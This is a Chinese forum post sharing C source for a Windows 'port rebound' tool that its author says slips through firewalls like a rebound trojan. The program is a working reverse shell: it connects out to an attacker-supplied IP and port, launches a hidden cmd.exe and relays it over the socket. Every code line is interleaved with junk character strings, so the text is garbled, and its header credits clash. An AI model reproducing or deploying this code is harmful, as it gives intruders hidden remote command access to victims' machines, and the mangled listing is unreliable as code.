社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3990阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;Ln7_  
{jCu9 ]c!  
/* ============================== #z1ch,*3;  
Rebound port in Windows NT jn#N7%{Mk  
By wind,2006/7 !F}J+N=}  
===============================*/ \3@2rW"5  
#include Z{|.xgsY  
#include N1B$G  
[0%Gu 5_\  
#pragma comment(lib,"wsock32.lib") p'9 V. _h  
@O*ev| o@x  
void OutputShell(); 8P'En+uE1|  
SOCKET sClient; FK/ro91L  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9x 6ca  
1Tts3O .  
void main(int argc,char **argv) U_=wL  
{ faKrSmE!  
WSADATA stWsaData; _mq*j^u,j  
int nRet; jwtXI\@MS  
SOCKADDR_IN stSaiClient,stSaiServer; Rqd%#v  
+{ ,w#@  
if(argc != 3) S'H0nJ3  
{ U+3PqWB  
printf("Useage:\n\rRebound DestIP DestPort\n"); xN":2qy#T  
return; 'AlSq:gZ  
} .w*{=x0k  
oW\7q{l2)  
WSAStartup(MAKEWORD(2,2),&stWsaData); ;zxlwdfcr'  
=G3J.S*Riy  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =6q*w^ET  
>8{`q!=|~  
stSaiClient.sin_family = AF_INET; XiZ Zo  
stSaiClient.sin_port = htons(0); 2+G:04eS,e  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); He$mu=$q{  
hU)f(L  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l$bmO{8uG  
{ NiQc2\4%  
printf("Bind Socket Failed!\n"); e&]`X HC9  
return; xF:poi  
} zI*/u)48  
K]=>F  
stSaiServer.sin_family = AF_INET; wW)&Px n  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `peJ s~V  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); IUBps0.T\  
r~B Qy'  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a[{QlD^D  
{ 7>e~i,  
printf("Connect Error!"); Y=wP3q  
return; @_weMz8}  
} yK2*~T,6@  
OutputShell(); 7{/:,  
} rF j)5~  
8T1DcA*  
void OutputShell() A?Hjz%EcW  
{ Wx\"wlJ7.3  
char szBuff[1024]; x /Ky: Ky  
SECURITY_ATTRIBUTES stSecurityAttributes; G cLp"  
OSVERSIONINFO stOsversionInfo; NByN}e  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9j>sRE1  
STARTUPINFO stStartupInfo; )9W# 5V$  
char *szShell; ~uD;_Y=u)r  
PROCESS_INFORMATION stProcessInformation; dvdBRrf  
unsigned long lBytesRead; V{^fH6;[  
!NY^(^   
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5Vm}<8{  
u5)A+.v  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aw@Aoq  
stSecurityAttributes.lpSecurityDescriptor = 0; 'krMVC-  
stSecurityAttributes.bInheritHandle = TRUE; an5kR_=  
TD=/C|  
;s/b_RN  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BU?MRcHC  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); rL+n$p X-  
7 V1k$S(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Vv"wf;#  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I4p= ?Ds  
stStartupInfo.wShowWindow = SW_HIDE; _e@qv;*  
stStartupInfo.hStdInput = hReadPipe; F'_8pD7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <rI$"=7  
%T*+t"\)  
GetVersionEx(&stOsversionInfo); ~ M>zO#U6  
qQR YHo>/e  
switch(stOsversionInfo.dwPlatformId) *UxB`iA  
{ bOGDz|H``  
case 1: jN[6JY1  
szShell = "command.com"; g~["O!K3  
break; 9@EnmtR  
default: ?GfA;O  
szShell = "cmd.exe"; (pK4i5lT  
break; ?m7"G)  
} FG36,6N%2j  
"._WdY[  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *b l{F\  
I; }%k;v6  
send(sClient,szMsg,77,0); "RX5] eJc\  
while(1) iOXP\:mPo  
{ $u.T1v  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); oK1[_ko|  
if(lBytesRead) i|noYo_Ah\  
{ 9i[2z:4HJ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  /lok3J:  
send(sClient,szBuff,lBytesRead,0); Gqc6).tn  
} H+&w7ER  
else BRLU&@G`1  
{ dw}3B8]  
lBytesRead=recv(sClient,szBuff,1024,0); |]3);^0  
if(lBytesRead<=0) break; -6Si  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 10a*7 L  
} @Lv_\^2/}  
} j1CD;9i)%  
{O oNhN9  
return; toZI.cSg4  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八